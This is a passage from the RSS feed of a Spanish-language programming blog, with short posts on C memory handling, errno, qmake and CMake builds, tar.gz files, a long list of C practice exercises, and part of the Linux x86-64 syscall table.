</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> cantidad_palabras <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>words <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span><span style="color:#f92672">*</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#a6e22e">fscanf</span>(f, <span style="color:#e6db74">"%20s"</span>, palabra) <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> ){
</span></span><span style="display:flex;"><span> words[cantidad_palabras] <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strncpy</span>(words[cantidad_palabras], palabra,<span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span> cantidad_palabras<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span> words <span style="color:#f92672">=</span> <span style="color:#a6e22e">realloc</span>(words,(cantidad_palabras<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>)<span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span><span style="color:#f92672">*</span>));
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ahora todas las palabras han sido cargadas a un arreglo de un arreglo</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> cantidad_palabras; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s "</span>,words[i]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Compilar pro files
https://imlauera.github.io/compilar_pro_files/
Fri, 07 Feb 2025 18:56:57 -0300
https://imlauera.github.io/compilar_pro_files/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd directory
</span></span><span style="display:flex;"><span>qmake .
</span></span></code></pre></div>
-
Rebuild cmake
https://imlauera.github.io/rebuild_cmake/
Fri, 07 Feb 2025 16:18:55 -0300
https://imlauera.github.io/rebuild_cmake/
<p><a href="https://stackoverflow.com/questions/50102893/rebuild-configuration-file-when-there-are-no-cmake-changes">https://stackoverflow.com/questions/50102893/rebuild-configuration-file-when-there-are-no-cmake-changes</a></p>
<p>There are a few issues you need to overcome to have this work.</p>
<ul>
<li>When cmake is run any version information you extract from subversion is baked into the generated build files, and so becomes static.</li>
<li>Cmake is only rerun if it detects the generated build files have become out of date (eg: if a CMakeLists.txt file is updated)</li>
<li>You can create a custom_target which will be run every time you build (from the docs: “The target has no output file and is ALWAYS CONSIDERED OUT OF DATE”) which generates the file, but that will force you to rebuild your generated version file every time.</li>
</ul>
-
Cómo usar errno en C
https://imlauera.github.io/como_usar_errno_c/
Thu, 06 Feb 2025 23:48:17 -0300
https://imlauera.github.io/como_usar_errno_c/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><errno.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><string.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* ... */</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">read</span>(fd, buf, <span style="color:#ae81ff">1</span>)<span style="color:#f92672">==-</span><span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Oh dear, something went wrong with read()! %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#a6e22e">strerror</span>(errno));
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Buscar palabra en archivo comprimido
https://imlauera.github.io/buscar_palabra_en_archivo_comprimido/
Wed, 05 Feb 2025 19:44:23 -0300
https://imlauera.github.io/buscar_palabra_en_archivo_comprimido/
<p>Since your files are actually tar.gz file you need to untar them as well. Tar is a archiving utility that packages multiple files together (in your case only one) and
was originally used to backup data to tape drives.</p>
<p>The tar utility did not originally compress content hence why it was usually streamed through gzip or other utilities for compression.. if you unzip a tar.gz you are
still left with the tar achieving layer which is why it is not working.</p>
-
Ejercicios para aprender C
https://imlauera.github.io/ejercicios_aprender_c/
Wed, 05 Feb 2025 00:31:58 -0300
https://imlauera.github.io/ejercicios_aprender_c/
<p><a href="https://leetcode.org">https://leetcode.org</a> <a href="https://hackerrank.com">https://hackerrank.com</a> están lleno de ejercicios.</p>
<p><strong>Acá una lista:</strong></p>
<ul>
<li>Find the Minimum Number in an Array</li>
<li>Find the Maximum Number in an Array</li>
<li>Count the Occurrences of a Value in an Array</li>
<li>Reverse An Array</li>
<li>Check If A String Is A Palindrome</li>
<li>Sum the Values in an Array</li>
<li>Compute the Average of an Array</li>
<li>Convert Celsius to Fahrenheit</li>
<li>Computing the Fibonacci Sequence</li>
<li>Counting the Vowels in a String</li>
<li>String append (i.e. concatenation) with dynamic memory allocation | C Programming</li>
<li>Dice roll simulator</li>
<li>Flip a string’s lowercase characters to uppercase and vice versa | C Programming</li>
<li>Create a copy of an array</li>
<li>Determine if a year is a leap year</li>
<li>hello world</li>
<li>Vector Addition</li>
<li>Dot Product</li>
<li>Counting Occurrences Of A Word In A String</li>
<li>Removing all occurrences of a character from a string</li>
<li>Convert binary to decimal</li>
<li>Replace a character in a string with another character</li>
<li>Infinite Input Buffer</li>
<li>Converting Kilometers To Miles</li>
<li>String Format Validation</li>
<li>Area of a Circle = PI*r^2</li>
<li>Output a Triangle of Stars</li>
<li>Remove All Vowels From A String</li>
<li>Check If Arrays Are Disjoint</li>
<li>Rotate An Array Left</li>
<li>Rotate An Array Right</li>
<li>Merge Two Sorted Arrays</li>
<li></li>
<li>Count Non-Repeating Array Elements</li>
<li></li>
<li>Manually Find The Length Of A String</li>
<li>Program That Prints Its Own Source Code</li>
<li>Bubble Sort</li>
<li>Sum The First N Natural Numbers Using Recursion</li>
<li>Trim Leading Whitespace String Characters</li>
<li>Remove Trailing Whitespace String Characters</li>
<li>Reverse The Words In A String</li>
<li>Count The Words In A String</li>
<li>Find Length Of Longest Word In A String</li>
<li>Find Length Of Smallest Word In A String</li>
<li>Insertion Sort</li>
<li>Print Unique Elements Of An Array</li>
<li>Compute Standard Deviation</li>
<li>Count The Punctuation Marks In A String</li>
<li>Check If Words Are Anagrams</li>
<li>Use Recursion To Print String In Reverse</li>
<li>Print First Unique Character In A String</li>
<li>Print First Repeating Character In A String</li>
<li>Count Occurrences Of Each Character In A String</li>
<li>Print A String Until The First Newline Character</li>
<li>Find The Minimum Occurring Character In A String</li>
<li>Find The Maximum Occurring Character In A String</li>
<li>Verify Password Requirements</li>
<li>Number Guessing Game</li>
<li>Create A Menu Using A Switch Statement</li>
<li>Coin Toss Simulator</li>
<li>Remove a character from a string at a specified position</li>
<li>Make All String Letters Lowercase</li>
<li>Binary Search Algorithm</li>
<li>Fizz Buzz Problem</li>
<li>Find The Second Highest Number In An Array</li>
<li>Find The Second Lowest Number In An Array</li>
<li>Count The Letters In A String</li>
<li>Count The Digits In A String</li>
<li>Read A File And Display Its Contents</li>
<li>Write Lines Of User Input To A File</li>
<li>Find The Largest Number In A File</li>
<li>Compute Average Of Numbers In A File</li>
<li>Lottery Number Generator</li>
<li>Selection Sort</li>
<li>Append Text To A File</li>
<li>Using qsort() To Sort An Array</li>
<li>Copy A File</li>
<li>Delete A Specific Line From A File</li>
<li>Merge Contents Of Two Files Into A Third File</li>
<li>Split A String At An Index Into Two Strings</li>
<li>Rock Paper Scissors Game</li>
<li>Coding Trick To Initialize An Array With Include Directive And External File | C</li>
<li>Programming Example</li>
<li>How To “Return” More Than One Value From A Function</li>
<li>Word Scramble Game</li>
<li>Magic 8-Ball Game</li>
<li>Sum The Digits Of A Number</li>
<li>Sorting An Array Of Strings</li>
<li>Sort Three Numbers</li>
<li>Find The Average Of Groups Of Numbers In A File</li>
<li>How To Create A Substring Function</li>
<li>Check If A String Ends With Another String</li>
<li>Check If A String Starts With Another String</li>
<li>Check If An Integer Is Even Or Odd</li>
<li>Reverse A String</li>
<li>Return Multiple Dynamically Allocated Arrays From A Function</li>
<li>Move All Zeros In An Array To The End</li>
<li>Split Even And Odd Values Of An Array Into Two Arrays</li>
<li>Compute Volume Of A Sphere</li>
<li>Count The Occurrences Of A Character In A String</li>
<li>Delete All File Lines That Match A String</li>
<li>Initialize An Array With User Input</li>
<li>Check If A String Is A Substring Of Another String</li>
<li>Fill An Array With Random Numbers</li>
<li>How To Generate Random Double Numbers</li>
<li>Replace All Occurrences Of A Value In An Array With Another Value | C Programming</li>
<li>Example</li>
<li>Savings Calculator With A Yearly Investment Returns Table</li>
<li>Create A Multiplication Table</li>
<li>Reverse An Integer Number</li>
<li>Using Recursion To Compute The Average Of An Array</li>
<li>Initialize A 2D Array With User Input</li>
<li>How To Check For Matrix Equality</li>
<li>Matrix Addition</li>
<li>Matrix Subtraction</li>
<li>Check If A Number Is An Armstrong Number</li>
<li>Find The Transpose Of A Matrix</li>
<li>Fill A 2D Array With Random Values</li>
<li>Print Numbers From 00-99 In A 10x10 Grid</li>
<li>Matrix Multiplication</li>
<li>Swap Two Rows In A 2D Array</li>
<li>Swap Two Columns In A 2D Array</li>
<li>Check If A Value Is In An Array</li>
<li>Quicksort Algorithm Implementation</li>
<li>Print A Christmas Tree</li>
<li>Shuffle An Array</li>
<li>Read A Specific Line From A File</li>
<li>Count The Number Of Lines In A File</li>
<li>Merge Sort</li>
<li>Set Data Structure And Operations</li>
<li>Array Index Coding Trick</li>
<li>Technique To Optionally Activate Debug Output Code</li>
<li>Delete All Array Elements That Match A User Input Value</li>
<li>Find The Minimum Distance Between Two Different Numbers In An Array | C Programming</li>
<li>Replace All Occurrences Of A Substring In A String With Another Substring | C</li>
<li>Delete All Occurrences Of A Substring From A String</li>
<li>Swap Two Variables Without A Temporary Variable (XOR Swap Algorithm) | C Programming</li>
<li>Replace A Specific Line In A File</li>
<li>Find And Print The Longest Word In A String</li>
<li>Share A Global Variable Across Multiple Files By Using extern | C Programming</li>
<li>Write To A Specific Line Of A File And Shift Down The Remaining Lines | C</li>
<li>Dynamically Allocate Memory For An Array Of Strings</li>
<li>Join Strings Function</li>
<li>Convert Decimal Number To Binary Number</li>
<li>Split Strings Function</li>
<li>Check If A String Is A Rotation Of Another String</li>
<li>A Better Seed For Random Number Generation Than The Current Time | C Programming</li>
<li>Check If A Number Is Prime</li>
<li>Advanced Integer Input Validation</li>
<li>Print A Heart</li>
<li>How To Safely Handle realloc() Failure</li>
<li>Reverse A File</li>
<li>Stack Data Structure And Operations</li>
<li>Find And Print The Smallest Word In A String</li>
<li>Read And Write An Array Of Structs To A Binary File</li>
<li>Create Your Own strcpy() String Copy Function</li>
<li>Create Your Own memcpy() Memory Copy Function</li>
<li>Read Char From File Portability Bugs + Fix</li>
<li>Find The Index Of K In A Sorted Array OR Where It Belongs To Keep It Sorted | C</li>
<li>Remove All Occurrences Of A Char From A File (Without Using A Temp File) | C</li>
<li>Read All File Contents Into A String</li>
<li>Merge Two Sorted Arrays Using Recursion</li>
<li>Calculate String Length Using Recursion</li>
<li>Delete All Lines From A File That Contain A Char From A Group Of Chars | C</li>
<li>Count The Vowels In A String Using Recursion</li>
<li>List All Files And Directories In A Directory (POSIX Library) | C Programming</li>
<li>Read CSV File Data Into An Array Of Structs</li>
<li>Remove Trailing Newline Character From fgets() Input</li>
<li>Write An Array Of Structs To A CSV File</li>
<li>Read And Store Each Line Of A File Into An Array Of Strings</li>
<li>Create Your Own tolower() Function</li>
<li>Create Your Own strspn() Function</li>
<li>Remove A Directory Using _rmdir() On Windows | C Programming Tutorial</li>
<li>Remove Duplicate Array Elements</li>
<li>Find The Third Angle Of A Triangle</li>
<li>Add Two Numbers From User Input</li>
<li>Count The Number Of Words And Characters In A File</li>
<li>Compute The Product Of All Array Elements</li>
<li>Calculate The Litres Of Paint Required To Paint A Fence</li>
<li>Random Password Generator</li>
<li>Add Line Numbers To A File</li>
<li>Fill An Array With Unique Random Numbers</li>
<li>Find The Frequency Of Each Letter In A String</li>
<li>Read All File Contents Into A Dynamically Allocated String</li>
<li>Store An Unknown “Infinite” Amount Of Numbers From User Input Into A Buffer | C</li>
<li>Shuffle A 2D Array</li>
<li>Round A Double To A Specific Number Of Decimal Places</li>
<li>Create Your Own strchr() Function</li>
<li>Area Of A Rectangle Calculated Using User Input Values</li>
<li>Area Of Triangle Calculated Using User Input Values</li>
<li>Print An Array In Reverse</li>
<li>Truncate A String</li>
<li>Concatenate Two Arrays</li>
<li>Truncate A Dynamically Allocated String</li>
<li>Remove Duplicate Characters From A String</li>
<li>Linear-Time Algorithm To Remove Duplicate Characters From A String | C Programming</li>
<li>Perimeter Of A Rectangle Calculated Using User Input Values</li>
<li>Split An Array At A Specific Index</li>
<li>Reverse An Array Using Recursion</li>
<li>Convert The Vowels In A String To Uppercase</li>
<li>Insert A Value At Random Indexes In A 2D Array</li>
<li>Find The Two Array Elements Whose Sum Is Closest To Zero</li>
<li>Count The Occurrences Of A Character In A String Using Recursion | C Programming</li>
</ul>
-
Linux Syscalls flat asm
https://imlauera.github.io/syscalls_para_linux64bits_flatasm/
Tue, 04 Feb 2025 23:40:39 -0300
https://imlauera.github.io/syscalls_para_linux64bits_flatasm/
<p>Lista de llamadas a sistema de linux64 para programar en FLAT ASM.</p>
<p><a href="https://board.flatassembler.net/topic.php?p=117722">https://board.flatassembler.net/topic.php?p=117722</a></p>
<p>Ya demostré un <a href="https://imlauera.github.io/fasm_nasm/">hola mundo en fasm</a></p>
<p><a href="https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl">https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl</a></p>
<p><a href="https://raw.githubusercontent.com/torvalds//linux/refs/heads/master/arch/x86/entry/syscalls/syscall_64.tbl">Tabla syscalls</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 64-bit system call numbers and entry vectors</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># The format is:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># <number> <abi> <name> <entry point> [<compat entry point> [noreturn]]</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># The __x64_sys_*() stubs are created on-the-fly for sys_*() system calls</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># The abi is "common", "64" or "x32" for this file.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span>0 common read sys_read
</span></span><span style="display:flex;"><span>1 common write sys_write
</span></span><span style="display:flex;"><span>2 common open sys_open
</span></span><span style="display:flex;"><span>3 common close sys_close
</span></span><span style="display:flex;"><span>4 common stat sys_newstat
</span></span><span style="display:flex;"><span>5 common fstat sys_newfstat
</span></span><span style="display:flex;"><span>6 common lstat sys_newlstat
</span></span><span style="display:flex;"><span>7 common poll sys_poll
</span></span><span style="display:flex;"><span>8 common lseek sys_lseek
</span></span><span style="display:flex;"><span>9 common mmap sys_mmap
</span></span><span style="display:flex;"><span>10 common mprotect sys_mprotect
</span></span><span style="display:flex;"><span>11 common munmap sys_munmap
</span></span><span style="display:flex;"><span>12 common brk sys_brk
</span></span><span style="display:flex;"><span>13 64 rt_sigaction sys_rt_sigaction
</span></span><span style="display:flex;"><span>14 common rt_sigprocmask sys_rt_sigprocmask
</span></span><span style="display:flex;"><span>15 64 rt_sigreturn sys_rt_sigreturn
</span></span><span style="display:flex;"><span>16 64 ioctl sys_ioctl
</span></span><span style="display:flex;"><span>17 common pread64 sys_pread64
</span></span><span style="display:flex;"><span>18 common pwrite64 sys_pwrite64
</span></span><span style="display:flex;"><span>19 64 readv sys_readv
</span></span><span style="display:flex;"><span>20 64 writev sys_writev
</span></span><span style="display:flex;"><span>21 common access sys_access
</span></span><span style="display:flex;"><span>22 common pipe sys_pipe
</span></span><span style="display:flex;"><span>23 common <span style="color:#66d9ef">select</span> sys_select
</span></span><span style="display:flex;"><span>24 common sched_yield sys_sched_yield
</span></span><span style="display:flex;"><span>25 common mremap sys_mremap
</span></span><span style="display:flex;"><span>26 common msync sys_msync
</span></span><span style="display:flex;"><span>27 common mincore sys_mincore
</span></span><span style="display:flex;"><span>28 common madvise sys_madvise
</span></span><span style="display:flex;"><span>29 common shmget sys_shmget
</span></span><span style="display:flex;"><span>30 common shmat sys_shmat
</span></span><span style="display:flex;"><span>31 common shmctl sys_shmctl
</span></span><span style="display:flex;"><span>32 common dup sys_dup
</span></span><span style="display:flex;"><span>33 common dup2 sys_dup2
</span></span><span style="display:flex;"><span>34 common pause sys_pause
</span></span><span style="display:flex;"><span>35 common nanosleep sys_nanosleep
</span></span><span style="display:flex;"><span>36 common getitimer sys_getitimer
</span></span><span style="display:flex;"><span>37 common alarm sys_alarm
</span></span><span style="display:flex;"><span>38 common setitimer sys_setitimer
</span></span><span style="display:flex;"><span>39 common getpid sys_getpid
</span></span><span style="display:flex;"><span>40 common sendfile sys_sendfile64
</span></span><span style="display:flex;"><span>41 common socket sys_socket
</span></span><span style="display:flex;"><span>42 common connect sys_connect
</span></span><span style="display:flex;"><span>43 common accept sys_accept
</span></span><span style="display:flex;"><span>44 common sendto sys_sendto
</span></span><span style="display:flex;"><span>45 64 recvfrom sys_recvfrom
</span></span><span style="display:flex;"><span>46 64 sendmsg sys_sendmsg
</span></span><span style="display:flex;"><span>47 64 recvmsg sys_recvmsg
</span></span><span style="display:flex;"><span>48 common shutdown sys_shutdown
</span></span><span style="display:flex;"><span>49 common bind sys_bind
</span></span><span style="display:flex;"><span>50 common listen sys_listen
</span></span><span style="display:flex;"><span>51 common getsockname sys_getsockname
</span></span><span style="display:flex;"><span>52 common getpeername sys_getpeername
</span></span><span style="display:flex;"><span>53 common socketpair sys_socketpair
</span></span><span style="display:flex;"><span>54 64 setsockopt sys_setsockopt
</span></span><span style="display:flex;"><span>55 64 getsockopt sys_getsockopt
</span></span><span style="display:flex;"><span>56 common clone sys_clone
</span></span><span style="display:flex;"><span>57 common fork sys_fork
</span></span><span style="display:flex;"><span>58 common vfork sys_vfork
</span></span><span style="display:flex;"><span>59 64 execve sys_execve
</span></span><span style="display:flex;"><span>60 common exit sys_exit - noreturn
</span></span><span style="display:flex;"><span>61 common wait4 sys_wait4
</span></span><span style="display:flex;"><span>62 common kill sys_kill
</span></span><span style="display:flex;"><span>63 common uname sys_newuname
</span></span><span style="display:flex;"><span>64 common semget sys_semget
</span></span><span style="display:flex;"><span>65 common semop sys_semop
</span></span><span style="display:flex;"><span>66 common semctl sys_semctl
</span></span><span style="display:flex;"><span>67 common shmdt sys_shmdt
</span></span><span style="display:flex;"><span>68 common msgget sys_msgget
</span></span><span style="display:flex;"><span>69 common msgsnd sys_msgsnd
</span></span><span style="display:flex;"><span>70 common msgrcv sys_msgrcv
</span></span><span style="display:flex;"><span>71 common msgctl sys_msgctl
</span></span><span style="display:flex;"><span>72 common fcntl sys_fcntl
</span></span><span style="display:flex;"><span>73 common flock sys_flock
</span></span><span style="display:flex;"><span>74 common fsync sys_fsync
</span></span><span style="display:flex;"><span>75 common fdatasync sys_fdatasync
</span></span><span style="display:flex;"><span>76 common truncate sys_truncate
</span></span><span style="display:flex;"><span>77 common ftruncate sys_ftruncate
</span></span><span style="display:flex;"><span>78 common getdents sys_getdents
</span></span><span style="display:flex;"><span>79 common getcwd sys_getcwd
</span></span><span style="display:flex;"><span>80 common chdir sys_chdir
</span></span><span style="display:flex;"><span>81 common fchdir sys_fchdir
</span></span><span style="display:flex;"><span>82 common rename sys_rename
</span></span><span style="display:flex;"><span>83 common mkdir sys_mkdir
</span></span><span style="display:flex;"><span>84 common rmdir sys_rmdir
</span></span><span style="display:flex;"><span>85 common creat sys_creat
</span></span><span style="display:flex;"><span>86 common link sys_link
</span></span><span style="display:flex;"><span>87 common unlink sys_unlink
</span></span><span style="display:flex;"><span>88 common symlink sys_symlink
</span></span><span style="display:flex;"><span>89 common readlink sys_readlink
</span></span><span style="display:flex;"><span>90 common chmod sys_chmod
</span></span><span style="display:flex;"><span>91 common fchmod sys_fchmod
</span></span><span style="display:flex;"><span>92 common chown sys_chown
</span></span><span style="display:flex;"><span>93 common fchown sys_fchown
</span></span><span style="display:flex;"><span>94 common lchown sys_lchown
</span></span><span style="display:flex;"><span>95 common umask sys_umask
</span></span><span style="display:flex;"><span>96 common gettimeofday sys_gettimeofday
</span></span><span style="display:flex;"><span>97 common getrlimit sys_getrlimit
</span></span><span style="display:flex;"><span>98 common getrusage sys_getrusage
</span></span><span style="display:flex;"><span>99 common sysinfo sys_sysinfo
</span></span><span style="display:flex;"><span>100 common times sys_times
</span></span><span style="display:flex;"><span>101 64 ptrace sys_ptrace
</span></span><span style="display:flex;"><span>102 common getuid sys_getuid
</span></span><span style="display:flex;"><span>103 common syslog sys_syslog
</span></span><span style="display:flex;"><span>104 common getgid sys_getgid
</span></span><span style="display:flex;"><span>105 common setuid sys_setuid
</span></span><span style="display:flex;"><span>106 common setgid sys_setgid
</span></span><span style="display:flex;"><span>107 common geteuid sys_geteuid
</span></span><span style="display:flex;"><span>108 common getegid sys_getegid
</span></span><span style="display:flex;"><span>109 common setpgid sys_setpgid
</span></span><span style="display:flex;"><span>110 common getppid sys_getppid
</span></span><span style="display:flex;"><span>111 common getpgrp sys_getpgrp
</span></span><span style="display:flex;"><span>112 common setsid sys_setsid
</span></span><span style="display:flex;"><span>113 common setreuid sys_setreuid
</span></span><span style="display:flex;"><span>114 common setregid sys_setregid
</span></span><span style="display:flex;"><span>115 common getgroups sys_getgroups
</span></span><span style="display:flex;"><span>116 common setgroups sys_setgroups
</span></span><span style="display:flex;"><span>117 common setresuid sys_setresuid
</span></span><span style="display:flex;"><span>118 common getresuid sys_getresuid
</span></span><span style="display:flex;"><span>119 common setresgid sys_setresgid
</span></span><span style="display:flex;"><span>120 common getresgid sys_getresgid
</span></span><span style="display:flex;"><span>121 common getpgid sys_getpgid
</span></span><span style="display:flex;"><span>122 common setfsuid sys_setfsuid
</span></span><span style="display:flex;"><span>123 common setfsgid sys_setfsgid
</span></span><span style="display:flex;"><span>124 common getsid sys_getsid
</span></span><span style="display:flex;"><span>125 common capget sys_capget
</span></span><span style="display:flex;"><span>126 common capset sys_capset
</span></span><span style="display:flex;"><span>127 64 rt_sigpending sys_rt_sigpending
</span></span><span style="display:flex;"><span>128 64 rt_sigtimedwait sys_rt_sigtimedwait
</span></span><span style="display:flex;"><span>129 64 rt_sigqueueinfo sys_rt_sigqueueinfo
</span></span><span style="display:flex;"><span>130 common rt_sigsuspend sys_rt_sigsuspend
</span></span><span style="display:flex;"><span>131 64 sigaltstack sys_sigaltstack
</span></span><span style="display:flex;"><span>132 common utime sys_utime
</span></span><span style="display:flex;"><span>133 common mknod sys_mknod
</span></span><span style="display:flex;"><span>134 64 uselib
</span></span><span style="display:flex;"><span>135 common personality sys_personality
</span></span><span style="display:flex;"><span>136 common ustat sys_ustat
</span></span><span style="display:flex;"><span>137 common statfs sys_statfs
</span></span><span style="display:flex;"><span>138 common fstatfs sys_fstatfs
</span></span><span style="display:flex;"><span>139 common sysfs sys_sysfs
</span></span><span style="display:flex;"><span>140 common getpriority sys_getpriority
</span></span><span style="display:flex;"><span>141 common setpriority sys_setpriority
</span></span><span style="display:flex;"><span>142 common sched_setparam sys_sched_setparam
</span></span><span style="display:flex;"><span>143 common sched_getparam sys_sched_getparam
</span></span><span style="display:flex;"><span>144 common sched_setscheduler sys_sched_setscheduler
</span></span><span style="display:flex;"><span>145 common sched_getscheduler sys_sched_getscheduler
</span></span><span style="display:flex;"><span>146 common sched_get_priority_max sys_sched_get_priority_max
</span></span><span style="display:flex;"><span>147 common sched_get_priority_min sys_sched_get_priority_min
</span></span><span style="display:flex;"><span>148 common sched_rr_get_interval sys_sched_rr_get_interval
</span></span><span style="display:flex;"><span>149 common mlock sys_mlock
</span></span><span style="display:flex;"><span>150 common munlock sys_munlock
</span></span><span style="display:flex;"><span>151 common mlockall sys_mlockall
</span></span><span style="display:flex;"><span>152 common munlockall sys_munlockall
</span></span><span style="display:flex;"><span>153 common vhangup sys_vhangup
</span></span><span style="display:flex;"><span>154 common modify_ldt sys_modify_ldt
</span></span><span style="display:flex;"><span>155 common pivot_root sys_pivot_root
</span></span><span style="display:flex;"><span>156 64 _sysctl sys_ni_syscall
</span></span><span style="display:flex;"><span>157 common prctl sys_prctl
</span></span><span style="display:flex;"><span>158 common arch_prctl sys_arch_prctl
</span></span><span style="display:flex;"><span>159 common adjtimex sys_adjtimex
</span></span><span style="display:flex;"><span>160 common setrlimit sys_setrlimit
</span></span><span style="display:flex;"><span>161 common chroot sys_chroot
</span></span><span style="display:flex;"><span>162 common sync sys_sync
</span></span><span style="display:flex;"><span>163 common acct sys_acct
</span></span><span style="display:flex;"><span>164 common settimeofday sys_settimeofday
</span></span><span style="display:flex;"><span>165 common mount sys_mount
</span></span><span style="display:flex;"><span>166 common umount2 sys_umount
</span></span><span style="display:flex;"><span>167 common swapon sys_swapon
</span></span><span style="display:flex;"><span>168 common swapoff sys_swapoff
</span></span><span style="display:flex;"><span>169 common reboot sys_reboot
</span></span><span style="display:flex;"><span>170 common sethostname sys_sethostname
</span></span><span style="display:flex;"><span>171 common setdomainname sys_setdomainname
</span></span><span style="display:flex;"><span>172 common iopl sys_iopl
</span></span><span style="display:flex;"><span>173 common ioperm sys_ioperm
</span></span><span style="display:flex;"><span>174 64 create_module
</span></span><span style="display:flex;"><span>175 common init_module sys_init_module
</span></span><span style="display:flex;"><span>176 common delete_module sys_delete_module
</span></span><span style="display:flex;"><span>177 64 get_kernel_syms
</span></span><span style="display:flex;"><span>178 64 query_module
</span></span><span style="display:flex;"><span>179 common quotactl sys_quotactl
</span></span><span style="display:flex;"><span>180 64 nfsservctl
</span></span><span style="display:flex;"><span>181 common getpmsg
</span></span><span style="display:flex;"><span>182 common putpmsg
</span></span><span style="display:flex;"><span>183 common afs_syscall
</span></span><span style="display:flex;"><span>184 common tuxcall
</span></span><span style="display:flex;"><span>185 common security
</span></span><span style="display:flex;"><span>186 common gettid sys_gettid
</span></span><span style="display:flex;"><span>187 common readahead sys_readahead
</span></span><span style="display:flex;"><span>188 common setxattr sys_setxattr
</span></span><span style="display:flex;"><span>189 common lsetxattr sys_lsetxattr
</span></span><span style="display:flex;"><span>190 common fsetxattr sys_fsetxattr
</span></span><span style="display:flex;"><span>191 common getxattr sys_getxattr
</span></span><span style="display:flex;"><span>192 common lgetxattr sys_lgetxattr
</span></span><span style="display:flex;"><span>193 common fgetxattr sys_fgetxattr
</span></span><span style="display:flex;"><span>194 common listxattr sys_listxattr
</span></span><span style="display:flex;"><span>195 common llistxattr sys_llistxattr
</span></span><span style="display:flex;"><span>196 common flistxattr sys_flistxattr
</span></span><span style="display:flex;"><span>197 common removexattr sys_removexattr
</span></span><span style="display:flex;"><span>198 common lremovexattr sys_lremovexattr
</span></span><span style="display:flex;"><span>199 common fremovexattr sys_fremovexattr
</span></span><span style="display:flex;"><span>200 common tkill sys_tkill
</span></span><span style="display:flex;"><span>201 common time sys_time
</span></span><span style="display:flex;"><span>202 common futex sys_futex
</span></span><span style="display:flex;"><span>203 common sched_setaffinity sys_sched_setaffinity
</span></span><span style="display:flex;"><span>204 common sched_getaffinity sys_sched_getaffinity
</span></span><span style="display:flex;"><span>205 64 set_thread_area
</span></span><span style="display:flex;"><span>206 64 io_setup sys_io_setup
</span></span><span style="display:flex;"><span>207 common io_destroy sys_io_destroy
</span></span><span style="display:flex;"><span>208 common io_getevents sys_io_getevents
</span></span><span style="display:flex;"><span>209 64 io_submit sys_io_submit
</span></span><span style="display:flex;"><span>210 common io_cancel sys_io_cancel
</span></span><span style="display:flex;"><span>211 64 get_thread_area
</span></span><span style="display:flex;"><span>212 common lookup_dcookie
</span></span><span style="display:flex;"><span>213 common epoll_create sys_epoll_create
